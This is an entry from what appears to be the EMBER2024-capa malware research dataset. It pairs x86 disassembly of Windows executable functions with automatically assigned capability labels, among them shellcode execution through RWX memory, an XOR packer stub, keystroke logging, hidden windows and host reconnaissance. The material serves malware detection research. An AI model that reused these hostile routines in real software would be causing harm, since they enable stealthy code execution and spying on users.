joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401530
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x870670]
mov ecx, dword [0x86f5c4]
shr eax, 3
sub esp, 0x808
test eax, eax
jbe 0x4015de
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
lea ebx, [ebx]
cmp dword [0x870670], 0x959
jne 0x4015c8
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x808]
push eax
push 0
push str.xovofodiyigo
push 0
push 0
call edi
push 0
push 0
push str.zaberivefanetev
push str.xewudezunesihafowakivoyeya
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00401330
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x401570
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x452448
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44b768
push eax
mov dword fs:[0], esp
sub esp, 0x908
cmp dword [0x870670], 0x5b1
push ebx
push esi
push edi
jne 0x4016f7
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x38]
call fcn.00401cb0
push 0
mov dword [ebp - 4], 0
call fcn.00403caf
add esp, 4
push 0
push 0
call fcn.00403951
add esp, 8
jmp 0x401610
mov eax, dword [0x870670]
add eax, 0x1134b
push eax
push 0
mov dword [0x870670], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x870670]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x86f5c4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401743
lea eax, [ebp - 0x514]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401730
mov ecx, dword [0x870670]
xor esi, esi
test ecx, ecx
jbe 0x4017b9
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401770
mov ecx, dword [0x870674]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x86f5c4]
mov byte [eax + esi], dl
mov ecx, dword [0x870670]
cmp ecx, 0xa8
jne 0x4017b4
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [ebp - 0x114]
push edx
call ebx
mov ecx, dword [0x870670]
inc esi
cmp esi, ecx
jb 0x401770
xor eax, eax
jmp 0x4017c0
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401868
inc eax
cmp eax, 0x39621
jl 0x4017c0
call fcn.00401530
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017ed
call fcn.004015f0
inc esi
cmp esi, 0x6753f
jl 0x4017e1
mov esi, dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
nop
cmp dword [0x870670], 0x86
jne 0x40184c
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x914]
push edx
push str.tecibunezokahibapovowe
call esi
push 0
push str.henanuhasov_xun
push str.ekuposu_nujuf
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401810
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x40460b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4507a8]
jne 0x404615
repz ret
jmp fcn.0040a07c
Function at 0x40cf7a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004052b6
and dword [ebp - 4], 0
cmp dword [0x452374], 0
mov ebx, eax
jne 0x40d02b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d0dc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40d0dc
push eax
call fcn.00405244
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x452374], eax
call esi
push eax
call fcn.00405244
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x452378], eax
call esi
push eax
call fcn.00405244
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45237c], eax
call esi
push eax
call fcn.00405244
pop ecx
mov dword [0x452384], eax
test eax, eax
je 0x40d02b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405244
pop ecx
mov dword [0x452380], eax
mov eax, dword [0x452380]
cmp eax, ebx
je 0x40d083
cmp dword [0x452384], ebx
je 0x40d083
push eax
call fcn.004052bf
push dword [0x452384]
mov esi, eax
call fcn.004052bf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d083
test edi, edi
je 0x40d083
call esi
test eax, eax
je 0x40d07a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d07a
test byte [ebp - 0xc], 1
jne 0x40d083
or dword [ebp + 0x10], 0x200000
jmp 0x40d0bc
mov eax, dword [0x452378]
cmp eax, ebx
je 0x40d0bc
push eax
call fcn.004052bf
pop ecx
test eax, eax
je 0x40d0bc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d0bc
mov eax, dword [0x45237c]
cmp eax, ebx
je 0x40d0bc
push eax
call fcn.004052bf
pop ecx
test eax, eax
je 0x40d0bc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x452374]
call fcn.004052bf
pop ecx
test eax, eax
je 0x40d0dc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d0de
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4059a6
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test edi, edi
pop ecx
mov esi, eax
jbe 0x4059d1
mov eax, dword [esp + 0xc]
push ebx
mov ecx, esi
sub eax, esi
mov edx, edi
mov bl, byte [eax + ecx]
xor bl, 0x42
mov byte [ecx], bl
inc ecx
dec edx
jne 0x4059c4
pop ebx
push 0x408230
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push edi
push esi
call fcn.00404b97
push esi
mov edi, eax
call fcn.00405a0a
add esp, 0x18
mov eax, edi
pop edi
pop esi
ret 0x10

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x13f5108c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x664c360a
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x4022e8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
mov ecx, 0xa
xor edi, edi
pop esi
mov dword [0x4041a8], esi
push edi
dec ecx
jne 0x40230f
lea eax, [ebp - 0x4c]
push eax
mov edx, dword [0x4041a8]
mov dword [ebp - 0x3c], edx
lea ecx, str.contents
mov dword [ebp - 0x28], ecx
lea eax, section..text
mov dword [ebp - 0x48], eax
call dword [sym.imp.USER32.dll_RegisterClassW]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
xor eax, eax
push eax
push dword [0x4041a8]
push eax
push eax
push 0x1f4
push 0x2f4
push 0x578
push 0xce4
push 0
mov ecx, str.frantically
push eax
push str.contents
push eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x4041b8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x4041b8]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x40]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x4023c3
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageW]
lea ecx, [ebp - 0x40]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x40]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x4023aa
pop ebp
ret 0x10
Function at 0x402814
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403ffc
test esi, esi
jne 0x40284a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004040ec
jmp 0x402868
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402728
mov edi, eax
test esi, esi
je 0x402868
cmp dword [ebx], 0
je 0x402868
dec esi
jmp 0x402851
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402f3c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x410008], 0x8088405
inc edx
mov dword [ebx + 0x410008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403560
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x410018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4035f8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4035d8
xor eax, eax
push ebp
push 0x4035d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403614
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4035d8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x410018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x410018], ax
mov esp, ebp
pop ebp
ret

Function at 0x403e04
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x411034], 0
je 0x403e65
cmp word [0x411208], 0xd7b2
jne 0x403e2d
cmp dword [0x411210], 0
jbe 0x403e2d
mov eax, 0x411204
call dword [0x411220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x410084
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403e8c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x410024], 0
jne 0x403e81
push 0
push 0x41007c
push 0x410084
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403fb8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402528
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x411035], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403f80
push eax
push esi
push ebx
call sub.KERNEL32.DLL_CreateThread_1
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4050b8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40511e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040426c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004032f8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405108
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405125
lea eax, [ebp - 0x10]
call fcn.00403ffc
ret

Function at 0x406378
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404498
xor eax, eax
push ebp
push 0x406428
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00403ffc
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x406403
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.004044a8
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4063f9
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x4063f2
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.004041f4
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x4063e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40640d
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40642f
lea eax, [ebp - 4]
call fcn.00403ffc
ret

Function at 0x40659c
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe2c
mov dword [esp], edx
mov ebp, eax
lea eax, [esp + 0x44]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0x40
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4065ff
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x4065f3
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp + ebx*4]
call fcn.004041f4
mov eax, dword [esp]
mov byte [eax], bl
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x4065db
call sub.wsock32.dll_WSACleanup
add esp, 0x1d4
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x406684
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x40668d
mov eax, dword [ebp - 4]
add esp, 0xfffffff0
push ebx
xor ebx, ebx
mov dword [ebp - 0x4014], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404498
mov eax, dword [ebp - 8]
call fcn.00404498
xor eax, eax
push ebp
push 0x40677c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x400f]
mov edx, 0x3fff
call fcn.00405600
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004044a8
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [ebp - 0x10], 0x3fff
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x400f]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004044a8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
lea eax, [ebp - 0x4014]
lea edx, [ebp - 0x400f]
mov ecx, 0x3fff
call fcn.0040426c
cmp dword [ebp - 0x4014], 0
je 0x406756
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x400f]
mov ecx, 0x3fff
call fcn.0040426c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406783
lea eax, [ebp - 0x4014]
call fcn.00403ffc
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404020
ret
Function at 0x406acc
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
xor edx, edx
mov dword [ebp - 0x1e8], edx
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404498
xor eax, eax
push ebp
push 0x406c76
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1e0]
xor eax, eax
call fcn.00402814
mov edx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 4]
call fcn.004043f4
je 0x406c4b
lea eax, [ebp - 8]
call fcn.00403ffc
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004069a0
cmp dword [ebp - 8], 0
je 0x406c4b
mov edx, dword [ebp - 8]
mov eax, 0x406c8c
call fcn.004045ec
test eax, eax
jg 0x406c4b
push 0
mov eax, dword [ebp - 4]
call fcn.004044a8
push eax
lea edx, [ebp - 0x1e4]
xor eax, eax
call fcn.00402814
mov eax, dword [ebp - 0x1e4]
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x406c4b
push 0x406ca4
lea eax, [ebp - 0x1e8]
call fcn.0040682c
push dword [ebp - 0x1e8]
push 0x406cb0
mov eax, dword [ebp - 8]
call fcn.004042a8
lea edx, [ebp - 0x1ec]
call fcn.00406564
push dword [ebp - 0x1ec]
push 0x406cbc
lea eax, [ebp - 0x10]
mov edx, 5
call fcn.00404368
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404094
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1dc]
call fcn.00402b74
lea eax, [ebp - 0x1dc]
call fcn.00402910
call fcn.0040261c
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1dc]
call fcn.00404698
call fcn.00402c24
call fcn.0040261c
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x1dc]
call fcn.00404698
call fcn.00402c24
call fcn.0040261c
lea eax, [ebp - 0x1dc]
call fcn.00402d0c
call fcn.0040261c
mov eax, dword [0x410fc0]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c7d
lea eax, [ebp - 0x1ec]
mov edx, 4
call fcn.00404020
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404020
ret

Function at 0x407194
Capabilities:
Create thread

Disassembly:
push ecx
push esp
push 0
push 0
push 0x40716c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
pop edx
ret
Function at 0x407488
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp], eax
mov byte [esp + 4], 0
mov eax, dword [esp]
call fcn.004042a8
mov edi, eax
test edi, edi
jle 0x4075b6
mov ebp, 1
mov eax, dword [esp]
mov al, byte [eax + ebp - 1]
cmp al, 0xfa
jb 0x407500
sub al, 0xfa
mov edx, eax
and dl, 1
xor dl, 1
mov byte [esp + 4], dl
and eax, 0xff
shr eax, 1
mov bl, byte [eax + 0x410bf8]
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
mov esi, eax
push 0
xor eax, eax
mov al, byte [esp + 8]
mov eax, dword [eax*4 + 0x410bfc]
push eax
mov eax, esi
push eax
push ebx
call sub.user32.dll_keybd_event
jmp 0x4075ae
mov word [esp + 6], 0
cmp al, 0xf0
jb 0x407518
and eax, 0xff
mov bl, byte [eax + 0x410afc]
jmp 0x40753a
cmp al, 0xe4
jb 0x407523
mov ebx, eax
sub bl, 0x74
jmp 0x40753a
cmp al, 0x20
jae 0x40752b
mov ebx, eax
jmp 0x40753a
push eax
call sub.user32.dll_VkKeyScanA
mov word [esp + 6], ax
mov bl, byte [esp + 6]
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
mov esi, eax
mov al, byte [esp + 4]
xor al, 1
mov dx, word [esp + 6]
shr dx, 8
test dx, dx
seta dl
and al, dl
je 0x40756e
push 0
push 0
push 0x2a
push 0x10
call sub.user32.dll_keybd_event
push 0
push 0
mov eax, esi
push eax
push ebx
call sub.user32.dll_keybd_event
push 0
push 2
mov eax, esi
push eax
push ebx
call sub.user32.dll_keybd_event
mov al, byte [esp + 4]
xor al, 1
mov dx, word [esp + 6]
shr dx, 8
test dx, dx
seta dl
and al, dl
je 0x4075ae
push 0
push 2
push 0x2a
push 0x10
call sub.user32.dll_keybd_event
inc ebp
dec edi
jne 0x4074ae
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x407640
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x407724
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x410be8], eax
push 0
push 0x4075e0
call sub.user32.dll_EnumWindows
mov esi, dword [0x410be8]
dec esi
test esi, esi
jl 0x407709
inc esi
mov ebx, 0x41475c
lea edx, [ebp - 4]
mov eax, dword [ebx]
call fcn.004073c4
mov edx, dword [ebp - 4]
mov eax, 0x40773c
call fcn.004045ec
test eax, eax
jle 0x4076a4
mov eax, dword [ebx + 4]
call fcn.00407a70
lea edx, [ebp - 8]
mov eax, dword [ebx]
call fcn.004073c4
mov edx, dword [ebp - 8]
mov eax, 0x407754
call fcn.004045ec
test eax, eax
jle 0x4076c7
mov eax, dword [ebx + 4]
call fcn.00407a70
lea edx, [ebp - 0xc]
mov eax, dword [ebx]
call fcn.004073c4
mov edx, dword [ebp - 0xc]
mov eax, 0x40776c
call fcn.004045ec
test eax, eax
jle 0x4076e9
mov eax, dword [ebx]
call fcn.00407b60
mov eax, ebx
call fcn.00403ffc
xor eax, eax
mov dword [ebx + 4], eax
push 0x400
call sub.KERNEL32.DLL_Sleep
add ebx, 8
dec esi
jne 0x407681
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40772b
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404020
ret
Function at 0x407988
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
add esp, 0xfffffdec
mov esi, eax
push esp
push 0x101
call sub.wsock32.dll_WSAStartup
push 0x80
lea eax, [esp + 0x194]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 0x190]
push eax
call sub.wsock32.dll_gethostbyname
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov ebx, eax
mov eax, esi
mov edx, ebx
call fcn.004041f4
add esp, 0x214
pop esi
pop ebx
ret

Function at 0x407e28
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe18
push ebx
xor eax, eax
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x407ff5
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call fcn.00407d70
test eax, eax
je 0x407fca
lea eax, [ebp - 8]
call fcn.00407de8
lea edx, [ebp - 0x1d8]
mov eax, dword [ebp - 8]
call fcn.00406164
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 8]
mov ecx, 0x40800c
call fcn.004042f4
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.00404548
push 0x408020
lea eax, [ebp - 0x1dc]
call fcn.0040660c
push dword [ebp - 0x1dc]
push 0x408080
push 0x40808c
mov eax, dword [0x410fbc]
push dword [eax]
push 0x408098
push 0x4080a4
push 0x4080b8
push 0x4080d0
push 0x4080fc
push 0x40811c
lea edx, [ebp - 0x1e0]
xor eax, eax
call fcn.00402814
push dword [ebp - 0x1e0]
push 0x408148
push 0x408158
lea eax, [ebp - 0x1e4]
call fcn.0040660c
push dword [ebp - 0x1e4]
push 0x408080
push 0x40808c
mov eax, dword [0x410fbc]
push dword [eax]
push 0x408098
push 0x408184
lea eax, [ebp - 4]
mov edx, 0x14
call fcn.00404368
push 0
lea eax, [ebp - 0x1e8]
mov ecx, 0x408190
mov edx, dword [ebp - 8]
call fcn.004042f4
mov eax, dword [ebp - 0x1e8]
call fcn.004044a8
push eax
mov eax, dword [ebp - 8]
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_CopyFileA
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d4]
call fcn.00402b74
lea eax, [ebp - 0x1d4]
call fcn.00402904
call fcn.0040261c
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.00404698
call fcn.00402c24
call fcn.0040261c
lea eax, [ebp - 0x1d4]
call fcn.00402d0c
call fcn.0040261c
or ebx, 0xffffffff
mov eax, dword [0x410fd0]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407ffc
lea eax, [ebp - 0x1e8]
mov edx, 5
call fcn.00404020
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404020
ret

Function at 0x4085e0
Capabilities:
Get socket status

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov eax, ecx
mov esi, 0x3e8
cdq
idiv esi
mov dword [esp], eax
mov eax, ecx
mov ecx, 0x3e8
cdq
idiv ecx
imul eax, edx, 0x3e8
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 8], eax
cmp eax, 0x40
jge 0x40861e
mov dword [esp + eax*4 + 0xc], ebx
inc dword [esp + 8]
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x10c
pop esi
pop ebx
ret